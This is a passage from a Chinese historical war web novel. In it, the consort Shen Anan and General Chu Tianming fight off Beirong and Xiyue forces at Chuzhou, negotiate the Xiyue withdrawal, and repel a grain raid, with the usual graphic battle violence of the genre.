沈安安握住刀柄,将还插在他脖子上的刀一抽走,血便从他的脖子上喷溅了出来。 还热的血,灌了沈安安一领子,黏腻的难受。 将领死了,这对任何一支军队来说,都是足以让士兵大乱阵脚的。 不光如此,沈安安还砍掉了他们的旗帜。 她忍着身上的伤痛,继续发起进攻。 等扎木乃发现不对的时候,只有上百匹惊慌失措的战马跑了回来。 而远处,他只能看到一道小小的身影,站在一望无际的空地上,面朝他这边看过来。 扎木乃骑在马背上,扯着马缰绳,往后挪了挪,让两个士兵,挡在了自己前面。 忽地,那道小小的倩影旁边,又出现了一道骑在马背上的身影,他听见一道熟悉的模糊声音大喊着叫他的名字。 “扎木乃,还不快滚过来受死,你天明爷爷来跟你讨债了。” 声音很模糊,但扎木乃还是听清了。 他不由得,又往后挪了挪,甚至不太想骑在马背上了。 楚天明,他可太熟悉了。 北戎就是被他打的一蹶不振的,不光扎木乃,北戎的一些老兵听见楚天明的声音,都要发抖。 多年前,楚天明那不要命的一战,将他们打的再也不敢进犯了。 多少年了,直到他们得知了楚天明卸任的消息,才敢再次进犯的。 这楚天明也不知怎的,竟真就冷眼旁观,近来两年,北戎人才开始嚣张起来,三番五次的翻过了萧沙岭,这一次,更是将那天险据为己有。 从再一次交战以来,扎木乃就掰着手指头在数,算到楚家军真的死绝了,他才敢贸然来犯的。 就在这时,楚州城门上,出现了一道接一道的士兵身影。 扎木乃又听见楚天明的声音,依旧模糊,“扎木乃,你真当我楚家军是死绝了吗?” “回营。”扎木乃再不犹豫,调转马头,带着自己的兵折返回了大营。 沈安安和楚天明见状,亦是松了一口气。 沈安安翻身骑上枭龙的背,看着扎木乃的大军愈来愈远后,才和楚天明折返回了城。 见沈安安受伤,独孤及叫来了郎中。 他却不让郎中碰沈安安的伤口,他要给沈安安擦洗上药。 弯刀锋利,砍破了她身上的盔甲,鲜血从那刀缝里不停的渗出来。 沈安安脱下了盔甲,背对着郎中坐下,脊背直挺挺的。 她似是感觉不到疼,还在跟楚天明分析刚才北戎人的打法。 “我听闻上一次首辅带着天罗,将他们的主力都摧毁了,扎木乃肯定被吓尿了。 就看他敢不敢跟西越人翻脸。”楚天明处理着胳膊上的伤口,开口说着。 虽然他几年没上过战场了,但从来落下过练功,真打起来,跟前几年没什么分别。 “我看他怕死的很,西越人长途跋涉来了,应该不会这么轻易就打道回府的。 他们可是出动了十万人,换做是我,带着十万人浩浩荡荡的跋山涉水,最后一个痛快仗都没打就班师回朝,我是决计做不出来的。”沈安安也不管给自己处理伤口的人是谁。 “莫说娘娘了,随便换个稍微有血性的将领,都做不出来这种事。”楚天明道。 所以他们两人都清楚,刚才那一战,只是个开始。 他们真正的敌人,不是北戎,而是那始终都在观望的西越。 “这西越,是为着什么要掺和进来?”沈安安问着。 楚天明回道:“娘娘有所不知,西越乃是夹在东大陆和西大陆之间的一个大国。 此前一直都在西大陆开疆扩土,所以跟轩辕并无交集,且西越跟轩辕之间,又夹着北戎,所以之前一直都是相安无事的。” “可能上次一战,西越觉得再不出手,北戎就要变成轩辕的了,到时候他们直接跟轩辕接壤,便成了他们在东边的心腹大患,所以这次才会出兵帮助北戎吧。” “所以,这才是北戎不管如何作死,陛下都不彻底灭了他们的根本原因所在。”沈安安道。 “对。”楚天明点头,“楚州离青州近,陛下更是修了一条官道从青州直通楚州,若是两边都对轩辕起了歹心,轩辕应对起来就难了。” “大晟虽被死死的压制,但终究没有彻底臣服,是个隐患;东渝被陛下灭国,表面上属于轩辕了,但难保他们不会死灰复燃。 再加上南边镇守的又是郑扶胤,多少年过去了,水军就没出个能代替郑扶胤的人。 京城夹在西北和西南之间,谁能睡得着觉?龙虎军一分为二,驻扎在叶州和京城,就是为了驰援京城和启西都方便。” 沈安安听完,忽地就有些理解夜不群为何成天都喜怒无常了。 这要是换成她,每想起,她也夜不能寐。 “陛下还是狠啊,这都能压得住。”沈安安道。 “他是真杀啊,你别看他好像四面楚歌,但真打起来,无论哪一方的兵马,在龙虎军面前都没有胜算。 为啥龙虎军死死摁着就是不动?震慑四方用的,千军易得一将难求,可如今朝中缺武将。” “每年的赋税都交不起了,但每年的科考,你可曾见过有哪一年落下过?武将青黄不接,都是因为杀太多了。” 第173章 破茧 能镇守一方的大将,需得文武兼备,可不能只是会打仗就够了。 楚州能在朝廷不管的情况下,抵御外敌又接连重税,还能强撑,正是因为楚天明他老爹的功劳。 真可谓是劳苦功高,夜不群若是不费一番力气,还真的无法将楚州收入囊中。 独孤及知晓沈安安喜欢喝烧刀子,便将酒壶给她递了去。 沈安安推开,说:“正经时候,不兴喝酒。” “也不知道晚些时候,他们还会不会进攻,大家都吃饱喝足,养足精神,准备随时应战。” 沈安安重新将盔甲套在了身上。 也不知哪儿来的那么方便的磨刀石,她放在两腿之间,磨着刀。 这把刀是她让王坡去打的,用着也挺顺手,但到底不是特殊材料制成的,如今已经有豁口了。 “娘娘,我送你把刀。”楚天明示意她别磨了,刀刃都卷成这样了,再磨也不好使。 “好用吗?”沈安安来了兴趣,抬头问他。 “好用的吧!我爹之前的佩刀,跟着他上了无数次战场,也没磕出豁口来。”楚天明说着,叫来一个老兵,吩咐他回将军府找公主拿刀。 “我爹留下来的东西都在将军府放着,朝廷虽然没少派大将来,但他们也从来没觊觎过将军府。”楚天明道。 不是不想觊觎,是不敢觊觎。 就是陛下,对楚天明他爹那都是敬佩的。 杨士青是什么人?见钱眼开的人,又是先帝时期的丞相,楚萧寒消失后,可着劲儿的查启西的账,想找出点错漏来狠狠捞上一笔。 但户部查了两个月,最后发现还要补给楚萧寒几千万两,从那之后,启西就成了个烂摊子,谁都知道是个烫手的山芋。 后来先帝不怎么管朝政了,摄政王独揽大权,户部形同虚设,国库年年亏损,启西就彻底没人管了。 但每年的赋税徭役和科考,还是不能落下。 楚天明也管不过来了,又逢北戎作乱,就变成了现在这个样子。 楚舒茗知道,启西要想好过,就得牢牢跟京城栓在一起。 可启西至今也没拿出能让京城心动的诚意来,便只能雪上加霜了。 夜昭闻带领着下人,做了吃食,送到城门口来。 那把六十六斤重的大刀,她吃力的抱着。 那被沈安安打过的半张脸,依旧肿着。 老兵们有序的去打饭了,丫鬟们另外提着四个食盒,是给楚天明、沈安安、独孤及另外准备的吃食。 “你要的刀,本公主给你拿来了。”夜昭闻单薄的身子,站在沈安安面前,费力的要把刀递给她。 但仅凭两只胳膊,根本没办法将刀抬起来。 沈安安伸出一只手,托住了她的手腕,另外一只手,托住了刀身。 刀鞘是乌黑的,上面镶嵌了七颗宝石,藏蓝和墨绿的宝石错开嵌着,沈安安一上手就知道,是好东西。 “谢了。”沈安安脸上有笑,冲她说着,“之前是我说话重了,下手也重了,公主别往心里去,可能原宥我?” 夜昭闻没想到她认错道歉也能这样干脆。 “本公主就没怪过你。”夜昭闻说罢,扬了扬下巴,撤走了自己的手。 “我嫁进将军府的时候,武器库已经封了,我也不知道它叫什么名字。 既然夫君把它送给你了,那你就给它起个名字吧。”夜昭闻继续道。 沈安安右手握住刀柄,“锃”一声拔了出来,乌黑的刃就像乌鸦的羽毛一般,在阳光的照射下五光十色,颇有色彩斑斓之感。 “就叫它破茧。”沈安安又把刀尽数插入刀鞘,说道。 “破茧成蝶。”夜昭闻蹲身,摆弄着食盒,“是个好名字。” 愿楚州也能脱困,最终破茧成蝶,成为朝廷再也不能忽视的存在。 沈安安将夜昭闻摁着坐在了沙袋上,让她陪着楚天明一起吃。 沈安安说:“好好陪陪你夫君吧,吃一顿少一顿,有话赶紧说,后面还有几场硬仗呢。” 说罢,她就去排在老兵的后面打饭去了,她喜欢跟士兵们打成一片。 以前行军打仗的时候,吃住都是跟自己的兵一起,没那么多讲究。 她虽是女子,但真上了战场,谁还会睡觉脱衣?随时随地都是整装待发的状态,女子跟男子别无二致。 她刚才的话,让夜昭闻悲上心头,坐在楚天明旁边,眼眶以肉眼所见的速度红润了。 坐在他们夫妻对面的独孤及,都觉得自己多余。 “公主,娘娘就那么随口一说,也不一定我们就会吃败仗。”独孤及安慰着。 “按理,你得唤我一声姨母。”夜昭闻抬眸,看向了他。 “姨母。”独孤及叫着。 “既你叫我一声姨母,那你能不能替姨母保护好你姨夫?” “你表弟才六岁,你也不忍心看到他小小年纪就没了父亲吧?” 夜昭闻一双含泪的眸子,望着他说道。 独孤及闻言,把碗搁了,“姨母,难怪我们只是表亲,你是真不把我当人看啊。” “表弟已经大了,没爹也能好好长大,姨母你看我,刚生下来没多久亲爹就驾鹤西去了,我不是也长成了现在一表人才? 说不定表弟没了爹,长的更好呢。” 夜昭闻拿着筷子,敲在了独孤及的脑袋上,“狗嘴里吐不出象牙来。” 独孤及坐正了身子,“姨母,你是天潢贵胄,怎么能这样没规矩?” 这边在打闹,另外一边,李泽里带着夜亦德在撒泼打滚。 李泽里袍子一掀,往地上一躺,开始左右打滚,“我不管我不管,你们就是现在立马生,也得给我凑出兵马来。” “不然我就撞死在你们面前,到了地底下,我跟太祖父告状,叫他晚上来收你们。” “哎吆小祖宗。”当官的苦不堪言,“我们要是有办法,何苦为难你?” “我不管我不管。”李泽里像小崽子似的,四脚朝天踢腾着,哇声大哭。 “太祖父,世态炎凉啊太祖父,你走了,你的学生都不管我的死活了,太祖父……” 一声比一声大,吵的他们一个个心力交瘁。 夜亦德有样学样,也往地上一滚,“父皇,你看看你的臣,你走了,他们也不管儿臣的死活了。” 一大一小一唱一和,他们一个也没办法。 第174章 箭术超群 申正时分,太阳西斜,温度也跟着骤然下降。 北戎人发起了又一轮进攻,这一次,扎木乃打先锋,后面紧跟着的是西越人。 这一次,他们出动了六千人。 北戎三千,西越三千。 北戎是轻骑,擅长冲锋打快战。 西越是重骑,擅长围困和布阵。 从他们前进的阵型,沈安安就判断出来了。 楚天明道:“娘娘,我去引开扎木乃,你带着人,能解决掉西越的重骑吗?” “这得交手了才知道。”沈安安说,“我去引开扎木乃,你带着兵去对西越人。 应对排兵布阵,你肯定比我擅长,而且你也能和楚家军配合得很好。” “有把握吗?”沈安安问他。 楚天明道:“三千人的阵,应该没问题,可娘娘你要引开北戎三千人,这行吗?” “行。”沈安安笃定道,“扎木乃怕死,我逮着他咬就够了。” 说罢,沈安安回头看向独孤及,吩咐着:“你还是按兵不动,先不要敲响鼓,还不到把人全叫来的时候。” “好。”独孤及应着。 沈安安先带着兵马出城迎敌。 扎木乃命人冲过来,在和沈安安交锋上的一刹那,他又命令人及时勒马撤退。 沈安安做了停的手势,从老兵手中接过一把刀,朝着撤退的北戎人扔了出去。 刀上附着了内力,普通士兵哪里抵挡得住?有几人纷纷落马了。 沈安安一骑绝尘,而那些老兵,则是从她的右手边骑马直奔着西越人而去。 “驾。”随后出城的是楚天明,他快马加鞭追上老兵们,“右侧薄弱,从右突袭。 三人成队,冲。” “是。”震耳欲聋的应答声,和飞奔的马蹄声混在一起。 扎木乃看身后只有沈安安一个人在追,当即命令人停下来,“从楚天明后面包抄过去,把他给我踏成肉饼。” “嗖。”他话音刚落,箭矢从后飞来。 两支箭矢,可扎木乃却只听到了一道声音。 他身子往右一侧,躲开那支带着声波的箭矢。 可另外一支悄无声息的箭,从后背贯穿,穿透了他的胸膛。 他当即把身子矮下去,几乎是趴在马背上,大喊着:“保护我,保护本汗。” 这一声令下,原本要去包抄楚天明的,现在却要将他围的水泄不通。 身后箭矢声一道接着一道,扎木乃觉得犹如死神降临,听见这声音他就像惊弓之鸟,骑着马往萧沙岭飞奔。 城墙之上,独孤及手持大弓,通体白色的大弓,要比寻常的弓箭大许多。 他箭术非常好,能在敌人未察觉的情况下将其一击毙命。 但是刚才,他并没有直取扎木乃的命,而只是重伤他。 只有这样,那三千北戎人才会因为要保护他而方寸大乱,便给楚天明争取了时间。 扎木乃只顾着逃命,沈安安又在后面穷追不舍,定然是不敢跑回去跟西越的主力军汇合。 他只敢趁乱逃跑,沈安安追击的差不多了,再折返回来,跟楚天明内外夹击,能给西越一重创。 他们打的每一战,都要抱着全歼对方的决心,只有这样,才能逼退西越十万大军。 如此想着,独孤及又拿起一根箭矢,搭弓射箭。 箭矢无声飞出,射穿了两个西越人的脑袋。 他们带着头盔,可箭矢破盔而入。 有他帮忙,楚天明应对起来轻松多了。 西越人反应过来,也不敢再往前逼了,竟要往后退。 可楚天明哪里会给他们机会?一番排兵布阵,逼得西越人想退不能,只得跟他鏖战。 这一打,就是一个时辰。 老兵们死了一个又一个,楚天明也身中数刀。 就在楚天明要露出颓势的时候,一杆黑枪从头顶落下来。 紧接着,一道身影,踩着西越人的脑袋,追着黑枪而来。 沈安安手里拎着一颗脑袋,“砰”一声砸在了地上。 脑袋滚在马蹄间,那双蓝色的眼睛,还瞪的大大的。 “你们的冲锋将已死,不想死于我的枪下,就速速投降。”沈安安大喝一声,连嘶鸣的战马声,都盖不住她的声音。 就在西越人犹豫的瞬间,她持着黑枪,又是一番厮杀。 老兵们见状,顿时士气大涨,一边放大声喊着,一边继续冲杀。 沈安安打头阵,楚天明守在队伍尾部,老兵们分左右冲杀,一时间,形成了一个从头到尾连着的铁桶。 沈安安和楚天明太猛了,这群老兵也杀红了眼,开始不要命的打。 西越人试图冲散他们的队形,但试了几次都没能成功,渐渐的没了信心。 沈安安抓住机会,看到西越人里有谁在指挥战斗,就冲上去杀。 三千西越重骑,被杀了一半。 剩余的一半,投降了。 老兵门卸了他们的兵器,将他们的战马纷纷削断了马蹄,将人押入了城中。 城门紧闭,这些西越人被捆住了手脚,胡乱的躺在一起。 楚州冬日的夜里,很冷。 沈安安却在大汗淋漓,从出城的那一刻起,到现在,她连一口水都没有喝过。 身上被血浸透了,但凡是能看见的布料,上面全都是血。 她身上穿的盔甲,也被砍的破破烂烂。 独孤及端来一盆水,给她擦脸。 整个楚州城都是静悄悄的,就城门这里燃着火把,火光映照下,沈安安脸上的血更鲜红了。 “你小子可以啊,箭术了得,比我厉害。”沈安安扯着笑容,夸着独孤及。 独孤及用湿帕子给她擦着脸,“我是个纨绔,哪里比得过娘娘。” “先把这碗水喝了。”独孤及说着要给她擦嘴角,她从他手里拿过了帕子,胡乱在脸上抹了两下,咕噜咕噜把一碗水喝完了。 夜昭闻早备了吃食,老兵们个个都麻溜的开始进食,因为谁也不知道西越人下一次进攻在什么时候,又会派多少人来。 西越俘虏,也是又渴又饿,负伤的更是哼哼唧唧。 他们凌乱的声音,冲着沈安安喊着,没有人能听懂他们说的是什么。 沈安安也朝他们喊:“别叫了,我们穷的自己吃的都没有,哪儿有给你们的? 药也没有,想要吃饱肚子,治伤的话,你们就自己挑选出个人,去找你们的人拿。” 第175章 谈判 大军开拔,最忌人心涣散。 别看沈安安只是擒住了西越一千多人,但这足以成为和西越人谈判的条件了。 扎木乃跑了,沿着山林跑的无影无踪,又到草原深处隐匿了起来。 他走了,没人给西越大军提供粮草,天渐渐冷了,再这样僵持下去,就算不被打败,也会被冻死饿死。 他们是重骑,若是马匹的饲料跟不上,真要跟楚天明的步兵打起来,胜算不大。 西越在犹豫要不要进攻。 但这一边,沈安安已经有动作了。 她命人敲响了鼓声,先前的那些老弱妇孺,全都聚集了过来。 沈安安从中挑出个子高低差不多的,让他们穿上盔甲,上了城墙。 两千多人站在城墙上。 至于其他的,负责扎草人。 草人扎成了真人大小,分别置于西固门和西前门的城墙上。 冬日的风一吹过来,草人会微微摇晃,看着就像是真人,它们个个都套着盔甲。 两个城门上,还分别安排了人把守,为的就是防止西越人强行破门。 东方再一次亮起鱼肚白时,沈安安提枪上马,带着老兵出城。 西越人本来想着偷袭的,却没想到,跟沈安安正面撞上了。 双方谁也听不懂对方的话,又是一场恶战。 西越打的畏首畏尾,沈安安势如破竹,竟将他们打的节节败退。 西越人看见城墙上一个挨着一个的士兵身影,再看看沈安安有孤军深入的胆魄,便后退了。 但沈安安就是不退,抽着马鞭,不紧不慢的朝着西越军营而来,至于那些老兵,被她命令原地待命。 城墙上站着的独孤及,手持大弓,额头渗出了细密的汗珠,他担心沈安安。 万一西越人识破了她的计谋,那她一个人单枪匹马的就进了西越大营,铁定是出不来的。 西越的最高将领,着人将她请进了营帐。 这将领,竟然是个会说轩辕话的,倒是让沈安安颇为意外。 “你就这么来,不怕我把你千刀万剐了?”将领一双幽蓝的眼睛,盯着沈安安看,一刻也不移开。 他推了一只酒杯到沈安安面前,眼神示意沈安安喝下去。 沈安安没犹豫,端起那只拳头大小的酒杯,抬头就一饮而尽,她脸上,一点儿变化都没有。 这酒竟然比烧刀子还要烈一些,若是寻常不碰酒的人喝了,只怕是要当场倒地。 但她是把烧刀子当水喝的人,再烈的酒到了她口中,也就那样。 “你就不怕我下毒?”将领看沈安安实在淡定,开口又问。 沈安安干脆拿起那只透明的琉璃酒瓶,咕噜咕噜就咽下了好几口,然后把酒瓶往桌子上一拍,“要杀,你就杀。” “轩辕将士出征,是抱着必死的决心,无论我是死在这里,还是死在战场上,我的死,都是皇上发兵西越的最好理由。” 沈安安嘴角抽动,姿态随意,肆意张扬的说:“我就怕你不杀我。” 她说的是那样的信誓旦旦,一颗脑袋伸向前来,仿佛在邀请对方将自己的头砍下来。 将领眼中带着狠戾,西越人人高马大的,很壮硕,便是坐着,那体型的绝对威压都显而易见。 “你怎么知道我不敢?”将领反问,“杀了你这个主将,我再率军踏破楚州,有楚州在手,便是你们的精锐之师来了,我也可一战,该怕的,该逃的,是你才对。” 沈安安对上他的眸子,丝毫不慌,张了张手臂,“但凡你了解轩辕,都该知道,轩辕女子不可入军为将,我算哪门子主将? 我们的主将,就在城墙上,大驾光临,扎木乃为何仓皇逃窜,你问问不就知道了?” “哦,我忘了,他被我们打怕了,恐怕你也不知道他现在在哪里吧?” 自然没有斥候刺探军情,但沈安安身经百战,对敌人有刻在骨血里的熟悉认知。 算上这一次,虽然也仅仅只跟扎木乃交战了两次,但扎木乃的性子,她却是摸了个透。 扎木乃这种人,毫无信念感,他的信念感全来自于敌我双方的对比,若敌强我弱,他第一个想的就是逃命,一个连自己老子都能丢弃不管的人,西越人在他眼里算个屁?怎么可能比自己的命还重要? 扎木乃先前那样嚣张,是因为他太清楚楚州的形势了,再看她没带多少人,自然士气大振。 但独孤及那一箭,将他吓的屁滚尿流,沈安安又追击在后,他只有逃。 翻过了萧沙岭,他是决计不会再折返回来的,他怕西越人也找他算账,恐怕现在不知道藏在哪个山里了。 沈安安看对方迟迟不再开口,又道:“何必呢?跋山涉水跑这么远,被别人当枪使。 悬崖勒马,还能及时止损,若为着咽不下一口气,一意孤行,那才叫愚不可及。” “你我这样的远行军,最应该知道,留得青山在,不怕没柴烧,将军意下如何?” “我们皇上,本也不欲与你们开战,如若不然,你觉得灭了大晟和东渝的我们,拿不下一个小小北戎吗?” 沈安安说的话句句属实。 这些赤裸裸的现实摆在眼前,倒让将领无法判断了起来,的确扎木乃也说过,轩辕现在的这位皇帝,是个狠角色。 西南打了大晟,南方灭了东渝,西北还跟北燕在周旋,正西方又跟北戎常年交锋。 扎木乃求援时,只说了轩辕四面楚歌的境地。 可如今一细想,一个能同时从四个边境同四个国家开战的国,能弱到哪里去? 将领忽地抬眸,往营帐外看去,似乎想要坐在这里,就一眼看穿楚州形势。 “你、有什么资格跟我做交易?就算是来和谈,也应该是你们的主将,而不是你一个女人。”将领忽地掀桌。 “砰。”桌子在空中翻转了几下,砸在了地上,发出巨大的响声。 他们两个彻底面对面,沈安安瞥了一眼,这将领的腿都赶上她的腰粗了。 沈安安看着他的身形估量着自己能不能一刀将他给攮死。 “交易嘛,能成就成,不能成也少废话,我就问你一句,干还是不干?”沈安安始终在盯着将领的身子看。 第176章 赴京请罪 这场谈判,成了。 俘虏被送出了城,西越大军撤退。 沈安安一路送到了萧沙岭,她在萧沙岭待了十天,确定西越人是真的走了,这才策马回了楚州城。 跟着楚天明的那些老兵,原本有六十八人,如今却只剩下了十二人,还有七名是重伤的,卧病在床,也不知道能不能挨过这个冬天。 西越人和北戎人都走了,但楚州城外的尸山血海,还在。 一场大雪落下,掩盖住了尸体,看着就像是一座座白色的小山。 楚州已经没有人手去处理战场了,沈安安和楚天明也是心有余而力不足。 “他们退了,但不代表楚州就安全了,没有外忧,内患就该来了,如今的楚州,想要组建一支正规的军队,简直是天方夜谭。”楚天明休养了十日,身上的伤也好了大半。 “我进京吧,求求陛下,总不能看着楚州自生自灭。”饭桌上,楚天明仰头闷掉一口酒。 他也知道进京面圣意味着什么。 朝臣们若是将楚州的祸事归罪于他,那么他就只能午门斩首了。 “爹,儿子陪你一起去。”楚阔也说道。 楚阔才六岁,比夜亦德和夜亦天都小一岁。 夜昭闻坐在楚天明旁边,迟迟都没有开口说话,只木然的给楚天明夹着菜。 “将军去到京城,十有八九可就回不来了,若只是被困在京城,倒也没什么,怕就怕像我祖父和他的四位副将那样,身首异处,又叫你去给先帝陪葬。”独孤及将一碗调好的面条,推到了沈安安面前。 跟着沈安安,他好像也喜欢吃面食了。 云州是鱼米之乡,产的多是水稻,他本是吃不惯面食的。 大抵,这也算是爱屋及乌吧。 夜亦德讨厌他这样,把沈安安面前的碗拨到了自己面前,抄起筷子就要扒拉。 独孤及哪里肯?直接抬手就端掉了,给他的碗里拨了一半,剩余的一半,又连碗一起推到沈安安面前。 沈安安白眼翻了无数个,大的小的她都懒得理。 楚天明把独孤及的话听进去了,唉声叹气。 有了牵挂和软肋的人就是这样,孤勇和无畏对他们来说,都成了一个词语,而并非他信奉的人生信条。 这是无计可施的,大家心知肚明,陛下想除掉楚天明。 正在大家一筹莫展的时候,管家领着个男子匆匆跑进来。 这男子被门槛拌了一下,脸朝地摔在了地上,哭声喊着:“北戎……北戎人又来了。” “他们偷偷进了城,现在在街上抢东西。” 几人闻言,同时从凳子上站了起来。 沈安安连盔甲都来不及穿,提上‘破茧’夺门而出。 楚天明和独孤及紧随其后,楚天明提着大刀,独孤及手持长弓。 满嘴塞的都是肉的李泽里,吓得神色紧张。 独孤及命令着:“李公子,保护好殿下。” 李泽里点着头,从后面一把抱住了夜亦德。 “殿下,你待在这里不要动,你……你得保护好公主和小公子,我……我去叫人支援。” 李泽里跑了出去,先前他死皮赖脸要来了一千人,这时候派上用场了。 北戎人是来抢粮草的,分为了好几拨,散落在楚州城里。 沈安安他们,也被迫分头行动。 北戎人目标明确,眼里只有粮食,但遇见了人,他们也不放过。 草原的悍马,在街道上疾驰,百姓们吓的四下逃窜,喊叫声震耳欲聋。 “嗖。”一支箭矢,破空而来,一穿串三个。 北戎人倒在了地上,但悍马还在狂奔。 独孤及一把拽住马缰绳,翻身上马,双腿夹着马腹,稳住了狂奔的马。 另外两匹,被他射出两支箭,没跑几步就轰然倒地。 他见到北戎人就搭弓射箭,可北戎人也不跟他纠缠,留下几个拦住他,其他的带着粮食就跑。 另一边,沈安安有轻功,便不需要马匹,她手里握着‘破茧’也不杀人,追上北戎人就将他们的马匹砍死。 不一会儿,一整条街便都是马的尸体了。 粮食也撒了一地,没有马,他们就跑不掉,对上沈安安,他们胆怯。 但也深知,沈安安绝对不会留下他们的性命,便齐声嘶喊着,朝着她攻了过来。 破茧与弯刀撞击,发出锃锃的碰撞声。 血雾一次次在沈安安面前散开。 楚天明则是策马,奔到了城门处,遇人就砍杀。 李泽里派来的一千人,正好与他前后夹击,将北戎人堵在了一整条街上。 “杀啊。”喊声震天响。 而城门外准备接应的扎木乃,已经拿到了一部分粮食,见情况不妙,直接带人开跑。 城内的北戎人见他们实在是太难缠了,直接弃马逃跑。 沈安安和独孤及毕竟是孤身一人作战,让一部分北戎人跑掉了。 楚天明一夫当关万夫莫开,倒是将那一整条街的北戎人都拦了下来。 等沈安安和独孤及赶来之后,合力将他们斩杀殆尽。 将军府,李泽里和管家扛着大木头,把大门堵的死死的。 “快别在这儿了,将其他的门也都堵起来,北戎人进城了,我听闻他们烧杀抢掠无恶不作,可别让他们盯上了将军府。” 李泽里话音落地,就见院墙上出现了几个北戎人,举着弯刀跳下来就要动手。 “保……保护殿下……啊!”李泽里慌乱的喊着,顺手拾起了一个小木棍,举在手里挡在身前。 可这将军府里,就只剩下一些小厮丫鬟,哪个是能敌得过北戎骑兵的? 千钧一发之际,就见夜亦德竟然拿起了沈安安的那杆黑枪。 “哎吆殿下,这个时候你就赶紧躲起来吧,别去送死啊殿下,殿下。”李泽里大喊着。 当然了,他也仅仅是用嘴喊着,可不敢上前去。 夜亦德双手提着黑枪,大喝一声:“北戎贼人,拿命来。” 声音稚嫩,但小小身影随着黑枪滑动而出的动作,却是那样的干练。 黑枪重,碰上北戎的弯刀,直接就将弯刀从北戎人手中弹开了。 黑枪削铁如泥,夜亦德耍的那叫一个虎虎生威,几个北戎骑兵,竟不是他的对手。 楚阔在一旁看的很是激动,顺手就抽出了夜昭闻捏在手上的宝剑,喊着:“殿下,我来助你。” “阔儿。”夜昭闻握着刀鞘,追了出来。 但她晚了,楚阔已经和夜亦德背靠背,迎击北戎骑兵了。 第177章 求援 北戎骑兵见是两个孩子,便放松了警惕,就是这一刹那,被夜亦德给抓住了机会,斩于黑枪之下。 这一番力挽狂澜,楚阔对他投来了倾慕的眼神。 鲜血顺着枪杆流下来,弄湿了夜亦德的手。 “咦。”他轻声意外着,以前怎么就没发现,母妃的黑枪没有红缨呢。 红缨是挡血用的,杀的人多了,血会顺着枪杆流下来,为了防止弄湿双手,滑的握不住枪。 夜亦德心下想着,要给母妃亲手做个红缨。 他拿了帕子,将黑枪上的血迹擦拭干净。 这杆黑枪也算是跟着沈安安的老伙计了,但还跟崭新的没什么两样,夜亦德是越看越欢喜。 也不知道这杆黑枪跟挽天弓到底哪个更厉害? “北戎人爬墙可真厉害,这墙还是不够高。”夜亦德抬头看着院墙,心中若有所思。 李泽里便招呼人,赶紧把院墙再垒高一些,但没人行动。 “北戎人抢东西的本领最厉害,这些鸡鸣狗盗的事儿,他们做起来得心应手。” “城墙他们也攀得,再怎么往高了垒,还能比城墙高?现下他们被打的没了主力、又丢了支援,是万不会再与娘娘他们正面开战的。” “只是没想到,他们居然能摸来将军府,只怕是还有人藏在城里,现如今我们根本没有那么多人手挨家挨户的搜查,这是个隐患。” 夜昭闻心里惴惴不安,她加派人手守着将军府的各个门,一有异常就赶紧汇报。 另一边,沈安安他们也不敢多耽误,留了人在城门口把守,连忙折返了回来。 把北戎骑兵的尸体处理干净,有小厮拿着刷子,在刷地上的血迹。 病了一场的楚舒茗也能下地了,拖着虚弱的身子来到了他们议事的正厅。 “咳咳。”她咳嗽两声,方才开口,“我已经给陛下去信了,只是没想到,北戎会重新杀回来。” “我听丫鬟们说,如今他们藏匿在了城中,这是个隐患,但娘娘也该回京述职了,楚州可怎么办?” 西越撤兵了,已经过去了十日,该传的消息早就传回了京城。 沈安安的确没有再继续待下去的理由了,只怕是召她回去的皇命,已经在路上了。 独孤及和李泽里是跟她一道儿来的,她不可能将他们二人丢在楚州。 楚天明若是也跟着进京,那留在这里的就是夜昭闻和楚阔了。 要么他把妻儿都带入京城,有人质留在了陛下的眼皮子底下,再放他这条虎归乡,他便只能做任人调遣的那个了。 但依着陛下的脾性,必然不会让他做一军主将,他出兵需要别人点头同意,打到什么地步也要别人说了算,处处掣肘,又如何能打胜仗? 几人交谈的片刻,沈安安已经在内心一番衡量。 “本公主带着阔儿,和楚妃一道儿入宫吧,天明,我们给天缘去一封书信,让皇姐替我们说说情,这启西的大将军,只能是你来做。” 夜昭闻一声,打破了寂静。 楚天明似是早料到会是这样的结局,闻言并不意外,但他也没有点头。 如今天缘国做主的是夜昭承,先帝的胞妹二公主。 天缘一分为三正是她的主意,她如今带领群臣迁都平津城,那是挨着青州和同州的地界儿,又是天缘的粮仓之地。 受轩辕和北燕双方的保护,只要他们没打到能灭了其中一个的地步,天缘就永远安全。 没有战乱,天缘国内安居乐业,百姓以务农种田为主,那块儿土地又刚好很肥沃。 夜不群的龙虎军能在叶州有恃无恐这么多年,正是因为天缘直接供给的粮食。 如若不然,几十万兵强马壮的大军,如何能睡的安稳? 让夜昭承帮忙说话,定是能起上几分作用的。 “你与她不相熟,她嫁人的时候你还小,多年来又从未通过信……”楚天明缓了好一会儿,才开口。 话里话外的意思,都是觉得夜昭承不会帮这个忙。 “试试吧,总比我们坐以待毙的要好。”夜昭闻说着让丫鬟拿来了文房四宝。 她当着众人的面儿,写了信,着人送了出去。 皇命没到之前,沈安安和独孤及极力在楚州城里搜寻北戎人,夜亦德也跟在旁侧。 “母妃,我又白跑了一趟,这次也没跟北戎人正面对上过。”夜亦德被沈安安牵着,言语里全都是遗憾。 母妃明明说过这次会带着他亲自上战场的,但他却被李泽里带去要兵了,都怪独孤及,他怎么就非要缠着母妃呢? 夜亦德觉得,独孤及都快把母妃给霸占了。 如此想着,他凶狠的瞪了一眼走在旁侧的独孤及。 “这次不行,下次吧,这次我们人太少了,我每次出去都不知道能不能回来,太危险了。” “再说了,要是让北戎和西越知道了你的存在,他们肯定会把你掳走做人质,然后来威胁我的。”沈安安眸子从眼前一排排的房门紧闭上滑过。 她忽地顿住步子,吸了吸鼻子,抬手指着一间屋子。 独孤及心领神会,当即一脚将门踹开,就见一个北戎人。 独孤及动作快,手中拿着的一根断箭,直接扔出,扎在了他的眉心里。 北戎人没料到他会来这一下,瞪大眼睛倒了下去。 独孤及跨进门,将尸体拖了出来扔在了大街上。 楚州死了太多人,昔日繁华的街道,如今一片死寂,街上几乎看不到什么人。 楚州城外的那些尸体,也是个隐患,楚天明派人清理了十天,收效甚微。 堆积的久了,恐怕会引起瘟疫,再者,尸水渗透进了地底下,污染了水源,又给楚州的百姓增加了生存难度。 皇命到的时候,夜昭承还没有回信。 沈安安原本是要带着那五位老兵回京城的,但楚州城内的北戎骑兵还没清理干净,她便把人给楚天明留下了。 楚舒茗跟他们一起出发,为了赶路,她弃了马车,也跟着骑马。 “楚家军没了,也没人管战马了,如今的战马比不上叔父在的那时候了。”楚舒茗矮着身子,伏在战马背上,另一手挥舞着缰绳。 第178章 